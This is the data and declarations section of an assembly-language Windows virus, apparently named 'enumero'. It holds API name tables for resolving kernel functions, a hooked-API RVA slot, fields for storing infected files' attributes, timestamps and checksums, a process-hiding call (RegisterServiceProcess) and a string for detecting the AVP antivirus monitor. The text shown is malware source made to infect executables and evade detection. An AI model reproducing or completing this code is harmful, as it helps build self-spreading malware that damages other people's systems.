dd offset GlobalFree
dd 0

				       ; our API names 
CreateFile  db 'CreateFileA',0
CloseHandleS db 'CloseHandle',0
WriteFileS  db 'WriteFile',0
CloseFile   db 'CloseHandle',0
GetSysDir   db 'GetSystemDirectoryA',0
DeleteFile  db 'DeleteFileA',0
CreateProc  db 'CreateProcessA',0
GetStartUp  db 'GetStartupInfoA',0
GlobalAlloc db 'GlobalAlloc',0
GlobalFree  db 'GlobalFree',0

API_Struct:                             ; structure for API VAs
CreateFileAPI   dd 0
CloseHandleAPI  dd 0
WriteFileAPI    dd 0
CloseFileAPI    dd 0
GetSysDirAPI    dd 0
DeleteFileAPI   dd 0
CreateProcessAPI dd 0
GetStartupInfoAPI dd 0
GlobalAllocAPI dd 0
GlobalFreeAPI dd 0

APIStructEnd:
virusname db '\enumero.exe',0
tempname db '\temp.tmp',0
RegisterService db 'RegisterServiceProcess',0
GetWindowModuleFileName db 'GetWindowModuleFileNameA',0
EnumPModules db 'EnumProcessModules',0
GetMFileName db 'GetModuleFileNameExA',0
EnumProcessModules dd 0
GetModuleFileNameEx dd 0
GetWindowModuleFileNameA dd 0
kernel32 db 'KERNEL32.DLL',0
user32 db 'USER32.DLL',0
psapi db 'PSAPI.DLL',0
avp_wndname  db 'AVP Monitor',0
sinfo:
curpos 		dd 0			   ; ptr to cur member of array
pnames 		dd 0		   	   ; ptr to process names
totalexe 	dd 0
totalwnd 	dd 0
testnums 	dd 0                       ; bool
testednums 	dd 0 
curidx 		dd 0
icnt 		dd 0
re_enum 	db 0
bytesread 	dd 0
handle 		dd 0                       ; file handle
pinfo:                                     ; process information
hprocess 	dd 0                   
pid 		dd 0
maphandle       dd 0
map_ptr		dd 0
nameptrtbl      dd 0
fsize		dd 0
adrtbl          dd 0
oldattrib	dd 0                         ; stored file attribs
ourAPIptr       dd 0
curAPIptr       dd 0
ordinaltbl      dd 0
kernelbase      dd 0
originalRVAptr  dd 0                       ; RVA ptr to our hooked API RVA
msgstruct:
originalRVA     dd 0                       ; orginal RVA of our hooked API
diffpsize       dd 0
oldchksum:
originalvsize   dd 0
lastobjimageoff dd 0
creation       dd 0,0                      ; our file time structures
lastaccess     dd 0,0
lastwrite      dd 0,0
fnameptr       dd 0                        ; ptr to file name we're inf
spawnfile      dd 0
virus_mem      dd 0
phandle        dd 0
newpsize       dd 0
mod_array      dd 0			   ; ptr to allocated module array
del_buf	       dd 0			   ; ptr to allocated delete buf memory
vend:
end vstart
ends